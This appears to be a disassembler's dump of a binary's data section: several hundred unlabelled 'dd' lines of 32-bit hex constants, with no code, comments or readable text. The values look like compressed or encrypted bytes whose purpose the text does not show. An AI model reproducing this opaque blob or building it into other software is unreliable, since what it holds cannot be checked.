dd 30CCFE8Ah, 0BA3F7EE9h, 0C0E2AD7h, 42BF57AFh, 786AE25Ch
dd 0D6292420h, 280B2071h, 0B0D6315Ah, 21505B14h, 0E9DFF63Dh
dd 267CE4h, 0F281425Bh, 25FF5DD0h, 7B40017Bh, 6BBB2E4Ah
dd 2C6E983Ch, 0E98F2A9h, 0C149E20Dh, 44860669h, 2CDC6336h
dd 0C61711A4h, 3F907E67h
dd 6B2D4003h, 1EC00B5Ah, 8692AFE9h, 0B5B4BCC7h, 0F189D880h
dd 72345E8Bh, 0DDE87E32h, 1307EE80h, 7AB05066h, 1A45D0C3h
dd 824C31CFh, 85B93A96h, 0ABE95282h, 818B983Fh, 37B004F6h
dd 0B55F5DBFh, 14B6528h, 0A5BA7BA2h, 0F6322EA6h, 1C68BE80h
dd 0FB329553h, 5CF1405Ch, 740B7070h, 61709631h, 631BAF68h
dd 11C25806h, 0A03C7684h, 0C57374DBh, 0CD54320Ch, 5764DC59h
dd 33335DF7h, 17169BC3h, 2B01D9F7h, 8235C3A3h, 4EDEFD8h
dd 122EC4Dh, 51DC4CFh, 0E054E908h, 0F83C2928h, 0A41C2D5Fh
dd 42ADC3BFh, 0F01D0F48h, 0C059828h, 85123A06h, 0FB50295Eh
dd 17F4208h, 21B56850h, 5A2D0D9Dh, 141FB084h, 20F410DFh
dd 2D36015Fh, 0BFB198DEh, 0DA55A6D9h, 3D68AD82h, 0EEB84C30h
dd 76D92413h, 0B346136Dh, 0D15812ABh, 0F110E2CAh, 4DA594Ch
dd 43AC28ADh, 0DCCE7582h, 0BE0F7084h, 0EF68C809h, 8D70D952h
dd 9232B95Eh, 60B31C1Ah, 7C4104D2h, 0C8210728h, 5E714372h
dd 0B65270D1h, 7D824648h, 79E1E918h, 1E4EF29h, 5B6D6F04h
dd 960BC568h, 849D5CDh, 8F6089D1h, 171BA332h, 2006F3C1h
dd 0D4A0C820h, 0AB1F5FD9h, 36894061h, 7964C46Ch, 0B394B56h
dd 85205312h, 0A967B45h, 82BF1E9Dh, 7C658D9h, 0C780ACB7h
dd 6AEF336Fh, 1075CF83h, 8843DE83h, 0D4F988FAh, 0A9A1FF74h
dd 14CA7D8h, 3359F32Fh, 0CBD851C9h, 0A95B1380h, 69DE0071h
dd 0E90C5220h, 7F098459h, 6F4C633h, 0EAF0837Dh, 21247E7Fh
dd 0BB5360AFh, 0B42766EDh, 0F742C05Eh, 50ACFD3h, 0B807EB04h
dd 5893BE5h, 17E997AFh, 1E2FA1F1h, 5C2F0991h, 6AF8D010h
dd 0B10EC524h, 0FE3BF202h, 8E88E27Dh, 4C0808Dh, 0B829F4EFh
dd 0D1473B68h, 0F77D4FDEh, 150B55C2h, 68C2F062h, 87BC014Bh
dd 1CD280D8h, 95A51B43h, 0AF24D5A0h, 0C1810B41h, 3798587Dh
dd 9C654EEDh, 2055686Ah, 0BE454760h, 4C7F5F33h, 5501E654h
dd 89B5FAAEh, 0DFE520F3h, 2130CFB0h, 67EA5175h, 6D021244h
dd 9F116C1h, 60162821h, 3054C7A1h, 669E42A9h, 0FC0CB820h
dd 0DC0C9D43h, 0E405015Bh, 0E91EE523h, 494A787Ah, 4C6DC40Ah
dd 0E65A6FC8h, 5F08481Bh, 492E1200h, 4ED72D0Ch, 0D5FEE00h
dd 1DB33CFAh, 50D827F7h, 2058EF61h, 0CD4D7B70h, 494148EAh
dd 0A8169394h, 4BE97B8Ch, 66F501AEh, 0E41B79BBh, 0D5C90D8Ah
dd 0FEF304E1h, 0CDB65F0Eh, 2951F4EFh, 5B6B8C96h, 7C59A87Eh
dd 40282478h, 47C21D2Ch, 6A297A0Fh, 180820D4h, 96F3015Dh
dd 1A1A5E34h, 0FA43686Fh, 339C0501h, 0D2293D5Bh, 0AA32CEBh
dd 0F78A475Fh, 5132FEC0h, 0A713E9D6h, 40921FF2h, 9CC13868h
dd 0B655FEE9h, 54D424C1h, 2C5ADAF4h, 0D8047177h, 0FE02F2B8h
dd 3C38E9C2h, 0A8E290A4h, 0C83CD03h, 4F1536Ah, 0C1310C86h
dd 166349Dh, 953548E9h, 0D5D63D7Ah, 3A133A03h, 1117511Fh
dd 605E12B0h, 0BA52D489h, 0DC3F3C16h, 2171AC08h, 54746881h
dd 37343372h, 728DBE53h, 0E9506E54h, 62C76B76h, 0E3EC4B16h
dd 0D071E209h, 0B37DF064h, 39BE031Fh, 31B0BB23h, 745EE9F3h
dd 586685C0h, 8BEB6F28h, 0D1B96C86h, 1E26D677h, 0DA952932h
dd 0A45229B2h, 3512BF4Ah, 9253F5F6h, 40895C40h, 0B9AB5DC8h
dd 89B8B5C9h, 2478F12h, 2CB60E83h, 11D20633h, 311B0100h
dd 4625DFh, 0EED1D6F7h, 3267CE81h, 0C27CB26h, 24888D00h
dd 0BCF78990h, 30430274h, 0CBCB294Bh, 16180650h, 94BEF482h
dd 0C10077A0h, 37462D58h, 29143B6Ch, 3B0705C8h, 67F40759h
dd 0D8D32848h, 0C4F44A56h, 1699E883h, 4209B48Eh, 146C0401h
dd 967D97B1h, 0DC5AD685h, 0E92FCE95h, 685D803Dh, 2F162DBEh
dd 4700596Eh, 489C4BF1h, 0CD89D31Eh, 6A0DE9C4h, 0BF0263F2h
dd 60977B8Ah, 30445D60h, 947D8F28h, 83575B27h, 0F9144BBAh
dd 0F2E15A26h, 0B1A80744h, 498009D2h, 969F114Eh, 0B2B8A102h
dd 0B486639h, 7BD70E5Eh, 0A21403E5h, 2DAD035Fh, 12ED0807h
dd 0C91BD616h, 673767E9h, 0A219E9AAh, 445659F6h, 315E6922h
dd 0DBD179E2h, 0FD142993h, 0AA00397h, 0B0013C8Eh, 0B5F0E950h
dd 0E6F2B48Fh, 75629737h, 0B0557947h, 0A47357CEh, 0F0264579h
dd 5200D65Eh, 0A220DA68h, 935A5F29h, 5295A31Fh, 0EA2A7385h
dd 0D6E2B3FDh, 135AB838h, 0A3365868h, 1911539Fh, 2605BDAh
dd 0E92D7114h, 6A52351Ah, 694D635Eh, 782C9CB4h, 7FE0B0B4h
dd 47937501h, 6C68FD5Bh, 0E9122B3Ch, 0F0B8A10Bh, 2507D0F7h
dd 7FF86441h, 0BEB452D5h, 5EC0B8F1h, 681930F6h, 32BD51EAh
dd 59FC5644h, 27E90CEEh, 0D8CCCB67h, 3AD51225h, 0A7E7C582h
dd 2D5C9719h, 4E6882F1h, 0BD45A07Bh, 0B5EE4BA9h, 0BC548D8h
dd 6382E831h, 62FD56C6h, 0E2784AE9h, 510A5C8Ch, 925A4F68h
dd 17B77388h, 4E3B8B58h, 0B1484C8Dh, 5E06402Eh, 1C57091Fh
dd 8F2FDDEAh, 6814106Fh, 0E3754450h, 0DF37C95Ch, 0D906933Ch
dd 0DBE88F34h, 7A8EBF00h, 0EF811D7Dh, 0D10D8A6Bh, 3DF0C99Dh
dd 0C7AC8758h, 0EA85D5F7h, 714391C2h, 0D8C62F41h, 0E96156BEh
dd 9F7313B4h, 92F9341h, 0F3EEEF1Bh, 47412DF6h, 9DC0D434h
dd 60702E0Dh, 770CF0D2h, 0E4244C7h, 13A876B8h, 8010E9A7h
dd 454D35ACh, 31143803h, 0F25558C6h, 2CA250D5h, 0BE8A5C29h
dd 0C09A787Bh, 1CD4B869h, 25021E47h, 175610CEh, 0E9644048h
dd 41DE4BD1h, 0AD3587Eh, 0A2003A5Fh, 9F3889E7h, 0FEA2A066h
dd 640C3D1Fh, 2D808575h, 4484354Fh, 720A25E9h, 0F4E2AF9Bh
dd 47DC0500h, 5D6E17E4h, 0E9F7B429h, 0F3171D4Eh, 83F7E1DDh
dd 0BA1A0323h, 3C445F7Ch, 89CFCBD1h, 181008B1h, 0FE535512h
dd 0C93B4A09h, 36830125h, 0E8CD5D38h, 44C0FCBDh, 0F280ADB2h
dd 0D328251Ch, 0E912D8C6h, 0B39040B8h, 3151D2Ah, 79650528h
dd 3AA833D8h, 6A13E473h, 57846BE9h, 22DE6E0h, 497F3717h
dd 0A4C3C801h, 56E8A7CCh, 0EE027C24h, 48A0FDE5h, 2F36E456h
dd 991429DDh, 40061444h, 1F0AB8B2h, 0A8021061h, 0D8215807h
dd 0A7F046F2h, 8760C0B8h, 4978683Bh, 0C3133F70h, 0C25034D2h
dd 0D8A7AB9Eh, 431A01BBh, 95003F0Eh, 59D4BCEBh, 0C5E94CAAh
dd 1833895Fh, 0FCFC5EFDh, 0CBD36C4Ch, 250C0757h, 2623212h
dd 674103EAh, 39213B01h, 32C9DACEh, 4F9A096Fh, 0C0833A05h
dd 621B68E1h, 8765B9BCh, 1282AE95h, 266AC07Ch, 108F8C1h
dd 18F2BD55h, 2A315469h, 14600ED9h, 0D66217D5h, 0DE380056h
dd 1FD6646h, 0CF5AD128h, 0E22D4693h, 1207F37Fh, 795CE234h
dd 0E69E68F5h, 3302440Ch, 63134CDh, 0B45C0D92h, 54485650h
dd 5A73867Ah, 76ED5A3Dh, 6817793Eh, 6A6545E6h, 0E51096F2h
dd 1A5B2D15h, 7EA7421Eh, 0E81C254Eh, 9D68533Ah, 0E909E83Bh
dd 0BB3FC197h, 2C222051h, 0F64C217Bh, 0C9822BE1h, 2204C4CCh
dd 0F23C60EAh, 0C22C165Eh, 2C7F621h, 0D2888314h, 1EED8B05h
dd 0CF0B090Bh, 1DC5024h, 0B1516658h, 20CA30F0h, 0E9E8FE6Eh
dd 5AA85DE8h, 9274A68h, 0E922C881h, 62F3BAACh, 4DCF7C50h
dd 0BFB2BC55h, 0AF0F7510h, 0F02CE495h, 9F4082B0h, 2A04E6BDh
dd 0DDF74CAAh, 0BFA089A8h, 99164E55h, 62832170h, 0ADB7E482h
dd 403A984Bh, 0C1ADC640h, 0EE37E760h, 70864748h, 2920D91Ah
dd 507B4B0h, 79044E86h, 822DD882h, 54C1E907h, 799925C3h
dd 482405F8h, 78E59192h, 15BF8CF7h, 6134BA68h, 0E925605Eh
dd 0AF93498Ch, 3CEF5508h
dd 0D7C63027h, 0AF6BD2FAh, 8091Ah, 0A9469D54h, 69527E6Fh
dd 0F310A332h, 57C90A87h, 0B0CFF0DEh, 651209D1h, 2788F301h
dd 0C95E1208h, 94FA04DFh, 0F64C147h, 0FD719FF2h, 53DDD05Bh
dd 80D7C4C6h, 6F3D2704h, 15D4CDA0h, 5996B5B6h, 3A2FD85h
dd 0B3250794h, 8560C569h, 718468E5h, 60E25C8Dh, 9B620A8Bh
dd 0C8822713h, 3FE48751h, 1E52C059h, 0BB84D8F6h, 44C4C228h
dd 407836E1h, 94964978h, 0C404674Bh, 14D6BC33h, 1081F129h
dd 8101B4BCh, 747509F6h, 0E5A490F7h, 716513Bh, 12109E53h
dd 5BDD3ABBh, 82C37A30h, 333F1940h, 2973E20Fh, 0A4CEA9F9h
dd 26A0D1DFh, 0EB0514EEh, 172AF221h, 0BFFB4889h, 954E502Dh
dd 0C1AD0C92h, 661FE8A5h, 237C8949h, 0B9563E46h, 0F01AEBB7h
dd 0CE292414h, 33072749h, 34A2895Bh, 6801EC54h, 0FB63267Ah
dd 50CA880Eh, 0BB6D06Eh, 0A1105A81h, 1494D41Dh, 0B29C0B4Fh
dd 5F16C0D1h, 0A18DB467h, 28889F94h, 300D710Bh, 90C4A43h
dd 77098EE3h, 0AF5AD631h, 85C18080h, 0B0591D74h, 0A2E9F02Bh
dd 1527C208h, 0CA688590h, 0BA68403Bh, 4B6D0FBDh, 44F28103h
dd 0B712C22Fh, 0A9060333h, 0D261E90Bh, 3EAD442Bh, 0FB11701h
dd 0B802E3CCh, 7C6F09F8h, 0FF5413B3h, 2F07F713h, 15276123h
dd 0CC480F50h, 0A35020Eh, 21744BFEh, 52A9F8Ah, 0BC766486h
dd 78C23B8Fh, 32059601h, 15C2707h, 15074AA0h, 9C2F47E9h
dd 9769C618h, 0F1B8EB89h, 939DCB49h, 1E25DE01h, 1C85316Ah
dd 0D24499E9h, 5E6468B1h, 0B312A0B0h, 0AE0AA56Ch, 0F3A8E201h
dd 293ED0Ah, 0AB00A639h, 0E944CA73h, 8D2D4AAEh, 0C3C92A1Dh
dd 9F63E90h, 7923B568h, 275A8C72h, 5501E111h, 71466850h
dd 0D03C779Bh, 20BB2DC1h, 0A387D23Eh, 3E83006h, 84005C35h
dd 0C58912EAh, 0B9E90158h, 5355608Bh, 5A00F6BBh, 0EBD4F68h
dd 27B097A5h, 6B83A3E9h, 80B9FE30h, 17A336CCh, 8CB66451h
dd 0CB75597Ah, 0B909DF6Fh, 14579842h, 25565B04h, 364E005Ah
dd 14BCD34h, 41FCF148h, 78FC5108h, 0EAB734F5h, 67335D78h
dd 0FAE18DC3h, 12F75686h, 19C8A259h, 5414FA2Bh, 6063B730h
dd 0ACEE6B37h, 24C566F3h, 68F92BD4h, 0ACBA1512h, 39A8D26Ch
dd 7DF5A660h, 0CC901AA1h, 0D4251541h, 0A72817E1h, 3AC4E2Eh
dd 66A61FAAh, 59071825h, 650C8B9Ah, 2F0926AAh, 0B2254164h
dd 0A11CD9E4h, 0C33F3C88h, 0A4C3E5A6h, 8DC88Eh, 726F5A07h
dd 0C169E1E9h, 0A6397122h, 0A3F6E6EFh, 17FEB97Ch, 3EF7587Ah
dd 26CA1414h, 0C7A3FE94h, 142D8226h, 2043904Ch, 5E504270h
dd 3340BB9Fh, 0E8119A66h, 5A4E3C68h, 0E1118934h, 0D233F171h
dd 0F9520891h, 5A0D84F7h, 0B9D4F2E9h, 68A0A4F8h, 0E9806907h
dd 0CD1C5ED7h, 8C92937Bh, 72F9B185h, 4FADB792h, 8CAC7DD4h
dd 449568E0h, 8F7C1E28h, 0B50F20h, 52E3EE80h, 0F028A6B6h
dd 0F263A8CBh, 0A9DE5DA1h, 80C94A7Ah, 0B6850FD0h, 168C509Ch
dd 621DB73Eh, 184D15C6h, 0DA6805FCh, 531F7601h, 22715941h
dd 0EC5BD664h, 80085443h, 8794DD7h, 50AE1B86h, 8D145D5Fh
dd 1EC207DEh, 0FCF6639Ch, 30FF3BDBh, 5BAB4896h, 0E3F984EDh
dd 3F5232D1h, 49B68F6Bh, 1E569F89h, 0C780EF80h, 9A119006h
dd 8A594ACCh, 0FF2669h, 4EC4E48Dh, 0B45C642Eh, 6945E388h
dd 0C3F83DA5h, 5AD58912h, 64B6303h, 0E1318A1Fh, 328EDA0h
dd 0F74B454Ch, 205CC5C4h, 412E89C8h, 385283D9h, 0DA3F2C50h
dd 724D6A05h, 68590BE4h, 28440830h, 614A8CF0h, 96539FC8h
dd 56E4622Eh, 0F20B975Ah, 0FF03A58h, 6136A9EFh, 6489BE2Ah
dd 0B47C6797h, 0C8615080h, 54FDE916h, 14F5A64Bh, 0EFEA28C2h
dd 86BBB924h, 690CDF68h, 860B874Fh, 5BDE4BBh, 945BA4C3h
dd 38A2153Ch, 60E9CD4Fh, 0EEBCE7C4h, 4E42A2A7h, 6443073Ch
dd 5223F0A0h, 8021B20Eh, 0D2F623EAh, 0DA0809D0h, 4274D8E9h
dd 48E1427h, 685BDE01h, 0DE24F8DDh, 0B50E1E0Ch, 35AE402Dh
dd 0F75FF109h, 0F857A359h, 0BEE116C1h, 0BF309C7Fh, 2EF6697h
dd 5BFB49ABh, 4643FE01h, 639354A0h, 0E5014D7Fh, 76F44291h
dd 2B38C3E9h, 0A843661Ch, 0B8647D8Eh, 70B4F6h, 902047C7h
dd 6A587912h, 100779DBh, 4F2914E6h, 552FE9D1h, 0AA000132h
dd 0C148F23Ah, 0EEE602E6h, 0D4C0074Bh, 7954174Ah, 11E925D1h
dd 2968D581h, 92866D18h, 0BB0059B3h, 45DF2E1Ah, 7B0BCB81h
dd 4758807h, 61AE2D2Ah, 431BE13h, 4448A5B8h, 11DBE9E0h
dd 8DB036A6h, 90A3C00h, 5E0D121h, 0EDEB288Ch, 0FEC55997h
dd 82CAE292h, 77B7CFE9h, 20504711h, 0A9404196h, 0D3FA5C01h
dd 0A4BC885Bh, 9A2483BCh, 280DCD20h, 0BCCF2976h, 5F2E883Ch
dd 430300D8h, 872EF381h, 31888001h, 0C8215BD9h, 89E12C7Fh
dd 0F489595Ah, 0F39875C6h, 6955D368h, 84D00079h, 0EFB0D964h
dd 0C201352Ah, 4FC403B0h, 0D9102F8Eh, 0DC661801h, 0E0D6F730h
dd 101ACEE6h, 71041BAh, 61BE06ECh, 96E7D98Dh, 2E3852Bh
dd 54333C34h, 26575EC0h, 5BF94082h, 182B1E3h, 5E3F30C8h
dd 0DFDAF346h, 99C98BA0h, 695F6717h, 0B103EA1Eh, 0F1337765h
dd 0D560B5F1h, 0C3E197B3h, 5C4C0253h, 0FDE7899Dh, 0EB7FEE46h
dd 78DBDDC1h, 282E0B45h, 0A6FE57B9h, 2E00F00h, 0E9FB315Fh
dd 0BA85A869h, 167D384Ch, 0A62195DAh, 50BA1306h, 0A040A53Dh
dd 90FA7E74h, 0B4BD2A8Dh, 478B9D4Ch, 9B20117Bh, 166F94BDh
dd 0F0AEE95Ch, 380025F7h, 2D6DE874h, 4CFEF539h, 0AE2E75BFh
dd 243C44A5h, 29F62ABh, 0BB05DD2h, 106F3C41h, 0E909081Bh
dd 0E97202A5h, 5B49C40Ch, 12CAC413h, 0F03655F5h, 8765591Bh
dd 5EF12731h, 0D1F62C2Eh, 5F198795h, 61CBE2CEh, 37E9E058h
dd 25A98233h, 9190D5A9h, 28257F66h, 2EF8F032h, 0D99F589h
dd 5D22F890h, 435B6BBBh, 1BF284B3h, 0E046D55Ah, 0E92E5780h
dd 5989FBFEh, 68C4C128h, 20ABBED3h, 0B4380B12h, 51E324B9h
dd 0AD1FBA19h, 57C01B2Ch, 5A816855h, 1438D525h, 784995ECh
dd 0B800CE3Eh, 7DB748E8h, 3E00167h, 8E388D2Dh, 0D0387039h
dd 5F0594C0h, 0B4298C6Fh, 0A7598C64h, 3C09B71Ah, 0F05BFD88h
dd 0BF17094h, 0F0BFE9C5h, 0E5CAC1B3h, 2B5E4149h, 7D579501h
dd 74F56FACh, 4811974h, 0F2DB20EAh, 0FB52E15Dh, 0A05F2192h
dd 8C3E9158h, 60279D75h, 9AC7B003h, 5476734Eh, 110429F6h
dd 0F9010C63h, 0DB57DAC4h, 338C51F3h, 997A1CBh, 0FA736E13h
dd 0A1E6F31h, 0A730D129h, 47E16A2Ch, 0BD64ED2h, 2EC00100h
dd 721ED7BDh, 0F48B673Ch, 0AE43F9DAh, 0E0FE120Ch, 0D709B98Ch
dd 8050A43Dh, 9C0AF716h, 1843907Eh, 2CC37652h, 5D9139F5h
dd 0C294ADBEh, 39B8578Ah, 1C4AEA68h, 32225D25h, 25BBE458h
dd 8DD15202h, 98115225h, 0E933414Bh, 5288DD4Fh, 0E64150EAh
dd 0BA5200B3h, 0A67A12D0h, 3CDE977h, 4F62E6E2h, 564CF65h
dd 5C7A10C0h, 0FC6B7F13h, 24590072h, 0DE874E2Ah, 8D3D3F7h
dd 1E09AD53h, 49AF6865h, 1B880E3h, 63C12C01h, 895BD829h
dd 58254DAh, 0C2BC16E8h, 4A58FB7Bh, 0B4342EF9h, 950CC0E0h
dd 4B267AC6h, 0E8B762AAh, 4BA5D083h, 0D6C9810h, 62AA6A95h
dd 7629CA23h, 0B0B17A31h, 0D2033053h, 0ED7E492Ch, 0A089208h
dd 8186E1C1h, 0EDF47637h, 8D1E6A29h, 80263F50h, 0D063153h
dd 6908965Ah, 761A3B09h, 4B9B2703h, 81D3FDD9h, 9195EEB7h
dd 133BF698h, 0C092878Ch
dd 4C264BEBh, 0D146F562h, 0B75300B5h, 0EF3D80F6h, 0E5AB91D9h
dd 0D3EBC507h, 4C7C890Ah, 1CACBC8Dh, 91543FDDh, 0D69FF6BCh
dd 523DF08Bh, 221E37F6h, 70D73D02h, 0B4BE7540h, 0F46A7B5Ah
dd 65CE6023h, 352CE0E6h, 1725187Bh, 9FF8F91Dh, 4BC50FA6h
dd 0C4414EA9h, 3355FA5Ah, 79C3C232h, 0C9D4490Ah, 0BE3C242Fh
dd 4AC217D6h, 83D71E38h, 56551E8h, 0E3325988h, 0F0016302h
dd 0D604AFE9h, 0AE686131h, 46E38A56h, 0CC41512Ah, 0F7C4102Fh
dd 4E7A1D9h, 6662F0AFh, 0D869AB5Ch, 7B1C18CCh, 5FE80C57h
dd 0E0954E71h, 3B3B6B66h, 84452908h, 3A0BE911h, 0AC51D9B2h
dd 4A28F1F7h, 9ECF8520h, 0FA87093Ah, 6581FFCh, 3D9F0807h
dd 0E98BEA31h, 25C1D05Ch, 0FBECFB29h, 1AA84F30h, 945BDD21h
dd 278D02A0h, 925E5067h, 57C4BF60h, 0E45D4B72h, 3E96141Fh
dd 837B900h, 904122A1h, 8D290278h, 91E90528h, 0E925D9FCh
dd 0DED1561Dh, 46CD183Ah, 0DAFA52FBh, 0FB61EEA2h, 0F26801ABh
dd 0B0E83865h, 25B9BEADh, 0D4E99359h, 5668F0B1h, 2C8F4DE3h
dd 74B0A405h, 7DA362D4h, 0F5981B12h, 80120AB1h, 9608C7C1h
dd 303F06BDh, 0EA40B0F9h, 0ECD590FEh, 945DB0D3h, 0E65F13ADh
dd 0FE37402Bh, 0E99C56C3h, 0BD73049Bh, 80C46037h, 325ACD0Ah
dd 503ED00Dh, 2DC0C3B8h, 0B15102A4h, 5E82967h, 0C5890782h
dd 0D2307544h, 42CFF136h, 45334A27h, 0C8AB5A17h, 2214D848h
dd 49FB1BADh, 0DBB30745h, 607ECB80h, 0E3C0ACEBh, 64F3F203h
dd 0E060CA5h, 5BDE04F4h, 965012F8h, 0F2169ACAh, 37E2768h
dd 85149D71h, 0FECF1C95h, 2080E989h, 59C80112h, 1D929505h
dd 2F119477h, 0D0E40166h, 2C68C040h, 70586036h, 5252B5E9h
dd 44D71FF8h, 0D5010547h, 812ED85h, 64E76B1Dh, 53DE9C1Ah
dd 0F368E098h, 9830145Eh, 9301CBBh, 0EDE94422h, 804123A4h
dd 5CB43842h, 5C63458h, 3ACE32CCh, 3309D700h, 0B0296552h
dd 87E09748h, 0E64D54E9h, 37C30778h, 0D84B4195h, 0BD92707h
dd 214D749h, 50516883h, 5E580E56h, 5DD6D0F7h, 0BD698C4h
dd 4BB57DE9h, 1FE3B1B2h, 9AB35300h, 0CF57D6A1h, 736875D8h
dd 4CC3EEDh, 0B6520288h, 97E680C2h, 0E982D38Fh, 0B5AEF52Fh
dd 0BF2008C8h, 7F5EB040h, 0BFF70F81h, 97893FE5h, 2C323AF8h
dd 61744C54h, 273B0211h, 5C626B39h, 162D2DFCh, 244098D5h
dd 8C5729A1h, 0A40B2A54h, 6AB6534Fh, 0A740EC9Dh, 0FD86FA8Bh
dd 5D4E0940h, 270C8563h, 76455C4Bh, 52066804h, 6CC1B2ECh
dd 8174F878h, 4814F1A4h, 76F2E961h, 295B0B40h, 8F503C38h
dd 18304227h, 2E9D61A0h, 0A6265FE9h, 785D594Bh, 0D22501A7h
dd 0F749F20Dh, 4ECC0220h, 0D873DDB4h, 362853CBh, 3727959Ah
dd 0A8C94638h, 802D2C15h, 0C1EFCB28h, 0A03BAC1Eh, 31823B07h
dd 4EEAA4B4h, 56E45374h, 0F9A5E54Ah, 0EAFEB1h, 46929354h
dd 0C0516D82h, 3D57F437h, 3905343Dh, 8666C63Bh, 5113DFF2h
dd 6DB5478Fh, 0E420B042h, 8B03486Ah, 0DD257E1Eh, 0D0C68053h
dd 2937CF6Ah, 404FCE5Ch, 1ED25908h, 24E9B1A4h, 872DF142h
dd 425A66D6h, 928328BAh, 0DF051580h, 3A2A06EDh, 0BEE056C1h
dd 68C80F00h, 51326A25h, 0A0ED8812h, 2C7D7230h, 82495B88h
dd 0BA5C835Ah, 11F66616h, 0A5F684h, 0C8FEECB0h, 4B807B2Ch
dd 9EEBE27Ch, 5454ECD3h, 350460D6h, 4DF25562h, 5E05046Dh
dd 0B312EA68h, 1C61497Eh, 0E6E58F59h, 0C1682F99h, 688BDD4Dh
dd 3E79FB29h, 3B9E7B80h, 0E9DEF74Eh, 0B24DAD24h, 0EC956144h
dd 0EF025CB3h, 493F0C01h, 0C7E085D7h, 25FC0813h, 4374E985h
dd 72C4809Fh, 2E0F064Ch, 7C12C8EAh, 0F33BD3BDh, 0FE5C2D95h
dd 68165A58h, 0E9F3CD80h, 46876431h, 0D95A12ECh, 392C7C41h
dd 8B3015DDh, 5F91D2Dh, 2837024Eh, 1CE22EBFh, 0F6801748h
dd 0EE5841B0h, 74514D2h, 0AA2DDE8Fh, 0B5243AB8h, 0DF300B0Eh
dd 0E699802h, 62CB6071h, 33732D13h, 0BB80F179h, 700F27F7h
dd 51C620E9h, 52A35B4Bh, 9792292Dh, 0BFA494FEh, 27525693h
dd 9F9DCE52h, 262D792Dh, 89CB8E4h, 4CE018Bh, 0CFA83809h
dd 0E6D15F09h, 4D04CD74h, 21F12C0Fh, 1EF0D2E1h, 0F0E912A1h
dd 68FF3032h, 3C923B8Ch, 7A0C9A4Dh, 790E8117h, 0A0533DC2h
dd 17BF57FAh, 25FE2822h, 701E0AFBh, 7F94994h, 11659C20h
dd 35E050E9h, 666BF1FDh, 50AF2D15h, 0C5860D14h, 3F08D0F6h
dd 4FF52F80h, 59E82B28h, 0E95004A9h, 5CE2A085h, 0B8E7801Eh
dd 0E36A4E5Fh, 60DEB33h, 5887DACAh, 3CB7730Bh, 3F96FA28h
dd 2D77BD4Bh, 6157EA5Dh, 0CC3AD56Eh, 18418DF9h, 4F6A0521h
dd 0FF895FEAh, 595BE978h, 0FE104A8Bh, 3C584C01h, 35DB17DFh
dd 744F9522h, 0FC6E650Dh, 79A8B57Ch, 0CF4F9449h, 77864541h
dd 9FE91531h, 0C4FE1BFEh, 0B3F47960h, 0B268088Dh, 613D4AADh
dd 9B28A224h, 0B6E6255Ah, 0ACED0980h, 0B397E55h, 515CEEDDh
dd 6A4D5E6Bh, 2D200340h, 5CD2978h, 0B21164BFh, 0E8211EF3h
dd 2CB723A5h, 7E0EBAC0h, 30DAA017h, 7E06A6EAh, 5A50D028h
dd 0E95A04FEh, 0EF526C98h, 5562982Ah, 64CB5B40h, 0B2C3B536h
dd 98097684h, 0D87EC808h, 288480B9h, 5AC7A66Eh, 585FF654h
dd 7E4B2610h, 123998C0h, 0D6870D29h, 2108DAF7h, 91E1DE84h
dd 0F6BE000Bh, 62D2D51h, 0FF16E18Bh, 1F22E912h, 8AD615A8h
dd 6FA9457Bh, 90FACA28h, 3D0A243Fh, 44005B1Bh, 109D6850h
dd 587278h, 0E16F230Dh, 4FA40534h, 86986379h, 30A98F58h
dd 7D5EEE3Bh, 0E91509BFh, 5F76AF10h, 491949EEh, 1EA7C90h
dd 3205D829h, 5C295A9Dh, 0B6A3946Ah, 2DD81392h, 380B8395h
dd 3C1371EBh, 0F8328A12h, 85358006h, 0B826AD2Fh, 55050162h
dd 51770ABDh, 8745206Fh, 89DC3F0Bh, 1578522Dh, 0B239A0E9h
dd 1752FC84h, 9421A7A0h, 9EC1098Eh, 0C3FCCD44h, 625B6298h
dd 8145B401h, 9E3CD7F5h, 3CB3874Bh, 3C5EE940h, 781DE516h
dd 0D12DB3ECh, 52AC2E0h, 8349C7DCh, 2D5BFD8Bh, 43E55412h
dd 6EAE984h, 2A020FA3h, 3158FA20h, 0EE2BB0C0h, 0DB897BB4h
dd 0E4485630h, 0C9DAB803h, 0E02A7802h, 0C676CAF8h, 0CA0CA816h
dd 47E9282Ch, 0B45D3C93h, 0B551AE13h, 0E3CD9D05h, 53C66E82h
dd 0A776A414h, 0A2EB6D59h, 5CFA7A15h, 4F9297D5h, 0EE8457D5h
dd 807ED816h, 2FDD1B4Fh, 0DD2B1D31h, 48039A2h, 2FDECEB3h
dd 17733EF8h, 0B42C8BE8h, 0BA1C5261h, 1B401986h, 0B2E28142h
dd 15942F4Bh, 526AC6C8h, 0DD981683h, 4F22F3FBh, 2DC50DB2h
dd 0B88F40C3h, 5F25084Eh, 0B6B9D3B0h, 0CDBF8C49h, 36EB02BBh
dd 0DBF778C1h, 0E69AF3D4h, 780E7F15h, 7A48FC0Bh, 431D0CEEh
dd 5D5289E3h, 1DCBCBB4h, 8167B10Ah, 916FC1CEh, 1B472A19h
dd 6B201A2Bh, 0B4C266E9h, 845C44CCh, 0D0B40BB2h, 58245E58h
dd 860B4050h, 0F0EE52B8h, 71AB2E66h, 58B3320Ah, 8160B37Eh
dd 0F441BFC6h, 9CA9A10Bh, 0F82AEEC0h, 33A116CAh, 0F2DD00FDh
dd 6B39BC8Ah, 312D82BDh, 0FB47F0h, 7445BE56h, 12B3626Eh
dd 0D468013Eh, 5E673861h, 7A6D182Bh, 2118DDD8h, 793A56AEh
dd 15957D0Fh, 0C5ACD5E9h, 5C086800h, 55867E1h, 0B2241CEAh
dd 82257CE6h, 0E02AB024h, 3E28B4DEh, 0C59753C6h, 183944F7h
dd 20B15226h, 775AB0A5h, 9D51E924h, 83E538BEh, 9570466Ch
dd 39C09440h, 27F609C8h, 466531CBh, 0A3AC74A6h, 3E97F327h
dd 4A68E704h, 0CA139147h
dd 0DA422AA6h, 40970BFEh, 0B73FCEC3h, 0D82716E5h, 20230475h
dd 0F25F41DAh, 2E344B64h, 0C8BE66C1h, 78E668D0h, 88849411h
dd 8F259AA5h, 0FCC6046Eh, 76C886A5h, 0C12B091Dh, 550107E3h
dd 56B908E9h, 5701DE80h, 683CA65Bh, 0BF896C53h, 0B1B00E1Ah
dd 7D8A49E1h, 6DB68C00h, 5D61449Eh, 0C57AAE0Eh, 0EF11AD41h
dd 295F9C2Ah, 2424C75Ah, 402049B1h, 4AD7F02Fh, 0A961E450h
dd 8230415Bh, 96F4482h, 1E39E965h, 0E74804F6h, 1B0BD282h
dd 42BDDC09h, 924CF010h, 15928FF2h, 5BF93009h, 4AC4F880h
